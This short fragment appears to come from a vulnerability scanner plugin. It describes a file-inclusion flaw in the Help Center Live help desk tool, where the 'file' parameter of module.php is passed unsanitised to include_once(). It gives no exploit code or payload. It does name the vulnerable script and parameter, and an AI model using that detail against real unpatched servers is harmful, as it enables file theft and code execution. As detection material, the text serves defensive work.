  Description :

  The remote host is running Help Center Live, a help desk tool written in
  PHP.

  The remote version of Help Center Live fails to sanitize input to the
  'file' parameter of the 'module.php' script before using it in a PHP
  include_once() function.  An attacker can exploit this issue to read
  files and possibly execute arbitrary PHP code on the local host subject
  to the privileges of the web server user id.");
